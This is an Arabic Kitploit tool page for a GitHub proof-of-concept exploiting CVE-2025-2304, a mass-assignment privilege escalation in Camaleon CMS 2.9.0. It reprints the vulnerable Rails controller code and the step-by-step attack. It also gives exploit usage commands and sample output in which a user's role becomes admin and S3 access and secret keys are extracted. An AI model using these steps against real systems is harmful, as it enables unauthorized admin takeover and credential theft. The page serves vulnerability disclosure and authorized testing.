Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-2304 — تصعيد الامتيازات المُوثَّق في Camaleon CMS v2.9.0 عبر معالجة غير صحيحة للمُعاملات في نقطة النهاية updated_ajax. | Kitploit
أدوات/GitHubGitHub/alien0ne/cve-2025-2304
تصعيد الامتيازاتهجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubalien0ne/cve-2025-2304

CVE-2025-2304

تصعيد الامتيازات المُوثَّق في Camaleon CMS v2.9.0 عبر معالجة غير صحيحة للمُعاملات في نقطة النهاية updated_ajax.

عرض المستودع
1932منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Camaleon CMS 2.9.0 – تصعيد الامتيازات المُوثَّق (تغيير الدور) + تسريب إعدادات S3 اختياري

الهدف: Camaleon CMS v2.9.0
النوع: تصعيد امتيازات مُوثَّق عبر الإسناد الجماعي في updated_ajax (حقل الدور)
إضافات: استخراج اختياري لإعدادات S3 من صفحة إعدادات المشرف (إذا كان المستخدم المُوثَّق قادرًا على الوصول إليها بعد التصعيد)

نظرة عامة

يحتوي هذا المستودع على نص برهان بلغة بايثون يقوم بما يلي:

  1. تسجيل الدخول إلى لوحة تحكم Camaleon CMS باستخدام بيانات اعتماد صالحة.
  2. جلب رمز CSRF من /admin/profile/edit.
  3. استدعاء نقطة النهاية updated_ajax لتحديث حقولpassword[...]**وإساءة استخدام**permit!لتعيينpassword[role]=admin`.
  4. اختياريًا (-e) استخراج قيم إعدادات S3 من /admin/settings/site.
  5. اختياريًا (-r) إعادة الدور إلى قيمته الأصلية بعد التشغيل.

يتوافق هذا السلوك مع نمط الإسناد الجماعي غير الآمن الموصوف في الاستشارة ذات الصلة:

  • استشارة Tenable Research: TRA-2025-09

السبب الجذري (ما هو الثغرة)

يقوم إجراء المتحكم أدناه بتحديث مستخدم باستخدام permit!:

root@kitploit:~
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

نظرًا لأن permit! تسمح بجميع المفاتيح تحت password، يمكن للمهاجم إرسال:

  • password[password]
  • password[password_confirmation]
  • password[role]=admin

وسيقبل التطبيق ذلك، مما يرفع دور المستخدم.

التأثير

  • يمكن لأي مستخدم مُوثَّق يمكنه الوصول إلى المسار الثغري أن يرفع امتيازاته عن طريق تعيين دوره إلى admin.
  • بعد التصعيد، قد تصبح الصفحات المخصصة للمشرفين فقط (مثل إعدادات الموقع) قابلة للوصول، مما قد يؤدي إلى تسريب قيم إعدادات حساسة (مثل مفاتيح S3).

المتطلبات

  • بايثون 3.8+
  • requests

تثبيت التبعية:

root@kitploit:~
pip install requests

الاستخدام

تصعيد الامتيازات الأساسي (مُوثَّق)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test

تصعيد + استخراج إعدادات S3 (-e)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e

تصعيد + إعادة الدور (-r)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -r

تصعيد + استخراج + إعادة الدور

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e -r

الوسائط

مثال تنفيذي

root@kitploit:~
python3 exploit.py -u http://alienone.in -U test -P test -e -r

مخرجات مثال

root@kitploit:~
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIAF3A388ECF117D966
   s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
   s3 endpoint: http://localhost:54321
[+]Reverting User Role
   User ID: 5
   User Role: client

كيف يؤكد PoC تسجيل الدخول

يتحقق النص من وجود رابط /admin/logout في HTML المُعاد بعد طلب POST لتسجيل الدخول.
إذا كان رابط الخروج موجودًا، تُعتبر الجلسة مُوثَّقة.

ملاحظات حول رموز CSRF

يستخدم Camaleon نمط CSRF الخاص بـ Rails. ستظهر الرموز عادةً في مكانين شائعين:

  • إدخال مخفي في النماذج: name="authenticity_token" value="..."
  • وسم ميتا: <meta name="csrf-token" content="...">

يجلب PoC الرمز csrf من وسم meta من /admin/profile/edit ويستخدمه في:

  • جسم الطلب: authenticity_token=<token>
  • رأس: X-CSRF-Token: <token>

إخلاء مسؤولية

هذا الكود مُقدَّم لأغراض الاختبارات الأمنية المُصرَّح بها والأغراض التعليمية فقط (مثل المختبرات، ومسابقات CTF، والبيئات التي لديك إذن صريح بها).
لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها.


المراجع

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2304
  • https://www.tenable.com/security/research/tra-2025-09
  • owen2345/camaleon-cms#1109
  • owen2345/camaleon-cms@179fd6b
  • https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
  • https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/CVE-2025-2304.yml

تنزيل الأداة
العلامةالوصف
-u, --urlالرابط الأساسي (مثال: http://alienone.in)
-U, --usernameاسم المستخدم الصالح
-P, --passwordكلمة المرور الصالحة
--newpassقيمة كلمة المرور المُرسلة في طلب التحديث (الافتراضي: test)
-e, --extractاستخراج إعدادات S3 من صفحة الإعدادات
-r, --revertإعادة الدور إلى الدور الأصلي بعد التصعيد